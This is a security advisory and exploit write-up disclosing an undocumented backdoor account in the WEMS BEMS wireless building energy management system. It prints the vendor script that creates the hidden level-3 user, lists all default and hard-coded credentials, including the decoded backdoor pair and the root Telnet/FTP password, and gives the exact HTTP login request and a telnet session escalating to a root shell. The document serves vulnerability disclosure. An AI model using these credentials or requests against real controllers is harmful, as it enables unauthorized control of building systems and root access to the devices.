WEMS BEMS 21.3.1 – Undocumented Backdoor Account
# Exploit: WEMS BEMS 21.3.1 - Undocumented Backdoor Account # Date: 2019-12-30 # Author: LiquidWorm # Vendor: WEMS Limited # Product web page: https://www.wems.co.uk # Advisory ID: ZSL-2019-5552 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php WEMS BEMS 21.3.1 Undocumented Backdoor Account Vendor: WEMS Limited Product web page: https://www.wems.co.uk Affected version: Web: 21.3.1 Web: 20.0beta Web: 19.5 Web: 18.4 Firmware: 1.26.6 (OS: 5.3) Firmware: 1.23.7 (OS: 5.0) Firmware: 1.21.4 (OS: 4.1a-usb) Firmware: 1.18.0.3 (OS: i686-1.1) Platform: Shockwave Flash (SWF) / CGI Summary: We (WEMS) offer the world's first fully wireless energy management system. Our solution enables your organization to take control of its energy costs, by monitoring lighting, heating and air conditioning equipment to identify wastage across multiple sites and start saving money instantly. Additionally, we offer a service which enables you to personally control the settings of your building - remotely, via text messaging and the internet - from wherever you happen to be in the world. Desc: The wireless BMS solution has an undocumented backdoor account that is Base64-encoded. These sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the controller thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The check_users.sh Bash script is used to generate the default accounts on the system with their passwords and privilege level. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level 3 when using the addhttpuser program which allows full availability of the features that the WEMS is offering remotely. WEMS also ships with hard-coded and weak credentials for Telnet/FTP access using the credentials gast:glasshou or root:glasshou. Tested on: Linux 2.6.16 armv5tejl thttpd/2.25b Adam 7000 System WEMS OS 5.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5552 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php 06.07.2019 -- Excerpt content of check_users.sh bash script: ---------------------------------------------- # cat /tmp/check_users.sh ... ... if [ -n "${varSystem}" ];then #add 'V.A.R.' user credentials /mnt/bin/addhttpuser -u var -p 88fRK66Q -l 2 > /dev/null /mnt/bin/addhttpuser -u varuser -p user -l 1 > /dev/null /mnt/bin/addhttpuser -u varview -p view -l 0 > /dev/null else #add 'wems' user credentials /mnt/bin/addhttpuser -u wems -p kup5EF4s -l 2 > /dev/null /mnt/bin/addhttpuser -u wemsuser -p user -l 1 > /dev/null /mnt/bin/addhttpuser -u wemsview -p view -l 0 > /dev/null fi echo "Adding logging user credentials..." /mnt/bin/addhttpuser -u YWRhbWNvbGxlY3Q -p YzAxMTNjdGFkYW0K -l 3 > /dev/null # Verify user added successfully... if [ "$?" -eq "255" ] then echo "Error when adding logging user credentials - aborting.." cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers exit fi veri_user=`grep -e 'YWRhbWNvbGxlY3Q' /mnt/etc/httpusers` if [ -n "$veri_user" ] then echo "User credentials added successfully." cp -p /mnt/etc/httpusers /mnt/etc/httpusers.default exit else echo "Error when adding user credentials - restoring defaults." cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers fi ---------------------------------------------- Default and hard-coded credentials: ----------------------------------- WEMS: [Level 2/Admin - Web/SWF->CGI] : wems:kup5EF4s [Level 1/User - Web/SWF->CGI] : wemsuser:user [Level 0/View - Web/SWF->CGI] : wemsview:view [Level 3/Backdoor - Web/SWF->CGI] : YWRhbWNvbGxlY3Q:YzAxMTNjdGFkYW0K (adamcollect:c0113ctadam) V.A.R. (Value Added Reseller): [Level 2/Admin - Web/SWF->CGI] : var:88fRK66Q [Level 1/User - Web/SWF->CGI] : varuser:user [Level 0/View - Web/SWF->CGI] : varview:view Shell: [Level 500/User - Telnet/FTP] : gast:glasshou [Level 0/root - Telnet/FTP] : root:glasshou ----------------------------------- By calling the auth command through the cmd parameter, the cgiauth binary reads the /mnt/etc/httpusers file and checks validation for authentication. To login with the backdoor account the following HTTP GET request is made: -------------------------------------------------------------------------- GET /cgi-bin/cgiauth?user=YWRhbWNvbGxlY3Q&pass=YzAxMTNjdGFkYW0K&cmd=auth HTTP/1.1 Host: 192.168.1.17 User-Agent: Noproblem/25.1 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://192.168.1.17/SMARThome1.swf Response observed: HTTP/1.1 200 OK content-type: text/html Transfer-Encoding: chunked Date: Fri, 13 Sep 2019 18:15:17 GMT Server: WEMS OS 5.0 Casino sessionid=EQhaZPEXgJQhkXeZ&level=3&username=YWRhbWNvbGxlY3Q -------------------------------------------------------------------------- Running addhttpuser, reading httpusers file: -------------------------------------------- # /mnt/bin/addhttpuser Usage is -u <username> -p <password> -l <level> # cat /mnt/etc/httpusers 0:wems:$1$3EVBJ96F$RBX7xggVT8.zXM9vDbGWB/:2 1:wemsuser:$1$3EVBJA6F$Gr6zU7L0n4OPq7YdCM5.b1:1 2:wemsview:$1$3EVBJB6F$6XtYBc2VaQYucRe2T7lfa.:0 3:YWRhbWNvbGxlY3Q:$1$3EVBJD6F$scO5furQud3eKLHpNyUyo.:3 # ls -al /mnt/bin/addhttpuser -rwxr-xr-x 1 root root 16520 Jan 29 2014 /mnt/bin/addhttpuser -------------------------------------------- Root shell: ----------- $ telnet 192.168.1.17 Connected to 192.168.1.17. Escape character is '^]'. - Adam 7000 System - Version 4.1a-usb - WEMS login: gast Password: BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. $ id uid=500(gast) gid=500 $ su Password: BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. # id uid=0(root) gid=0(root) # netstat -nat Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN ----------- $ ftp 192.168.1.17 WEMS FTP server (Version wu-2.6.2(12) Thu Feb 24 14:48:47 GMT 2011) ready. user root 331 Password required for root. pass glasshou 230 User root logged in. |